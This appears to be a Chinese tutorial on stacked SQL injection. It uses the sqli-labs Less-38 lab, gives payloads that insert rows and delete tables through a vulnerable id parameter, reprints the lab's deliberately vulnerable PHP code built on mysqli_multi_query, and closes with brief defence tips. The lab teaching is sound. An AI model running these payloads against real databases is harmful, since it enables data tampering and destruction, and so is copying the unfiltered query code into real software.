什么是堆叠注入
在SQL中,分号(;)是用来表示一条SQL语句结束的。试想一下我们在分号结束一个SQL语句后继续构造下一条语句,会不会一起执行?因此这个想法也就造就了堆叠注入。而堆叠注入可以执行的是任意语句(增删改查)。
例如以下这个例子:
用户输入:1; delete from products服务器端生成的SQL语句为:select * from products where productid=1; delete from products当执行查询之后,第一条显示查询信息,第二条则是将整个表删除。
适用条件
用户采用PDO编程( POD(PHP Data Object))且没有对参数进行过滤
mysqli_multi_query()函数也可以造成堆叠注入
堆叠注入的过程
1、找到注入点(确定是否存在堆叠注入)
2、开始注入
我们本次尝试的语句:
1’;insert into users(id,username,password) values(‘100’,‘abc’,‘abc’) --+
这里以sql-lab第38关为例
http://192.168.3.10/sqli/Less-38/?id=1——》有回显
http://192.168.3.10/sqli/Less-38/?id=1’ --+ ——》仍然有回显
基本可以判断它是一个字符型
在没有插入之前,利用phpstudy后台的命令行先查看表中有哪些数据
尝试堆叠注入:
http://192.168.3.10/sqli/Less-38/?id=1’;insert into users(id,username,password) values(‘10000’,‘abcd’,‘abcd’) --+
插入后再查看一下:发现插入了id=10000的数据
当把insert into 语句 改成delete语句就可以把users表删掉,所以堆叠注入危害很大。
堆叠注入代码分析
<?php
error_reporting(0);
include("../sql-connections/db-creds.inc");
?>
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
<title>Less-38 **stacked Query**</title>
</head>
<body bgcolor="#000000">
<div style=" margin-top:70px;color:#FFF; font-size:23px; text-align:center">Welcome <font color="#FF0000"> Dhakkan </font><br>
<font size="3" color="#FFFF00">
<?php
// take the variables
if(isset($_GET['id']))
{
$id=$_GET['id'];
//logging the connection parameters to a file for analysis.
$fp=fopen('result.txt','a');
fwrite($fp,'ID:'.$id."\n");
fclose($fp);
// connectivity
//mysql connections for stacked query examples.
$con1 = mysqli_connect($host,$dbuser,$dbpass,$dbname);
// Check connection
if (mysqli_connect_errno($con1))
{
echo "Failed to connect to MySQL: " . mysqli_connect_error();
}
else
{
@mysqli_select_db($con1, $dbname) or die ( "Unable to connect to the database: $dbname");
}
$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";
/* execute multi query */
if (mysqli_multi_query($con1, $sql))
{
/* store first result set */
if ($result = mysqli_store_result($con1))
{
if($row = mysqli_fetch_row($result))
{
echo '<font size = "5" color= "#00FF00">';
printf("Your Username is : %s", $row[1]);
echo "<br>";
printf("Your Password is : %s", $row[2]);
echo "<br>";
echo "</font>";
}
// mysqli_free_result($result);
}
/* print divider */
if (mysqli_more_results($con1))
{
//printf("-----------------\n");
}
//while (mysqli_next_result($con1));
}
else
{
echo '<font size="5" color= "#FFFF00">';
print_r(mysqli_error($con1));
echo "</font>";
}
/* close connection */
mysqli_close($con1);
}
else { echo "Please input the ID as parameter with numeric value";}
?>
</font> </div></br></br></br><center>
<img src="../images/Less-38.jpg" /></center>
</body>
</html>
这个函数造成了堆叠注入
防御:对参数进行一定的过滤
尽量避免使用mysqli_multi_query()函数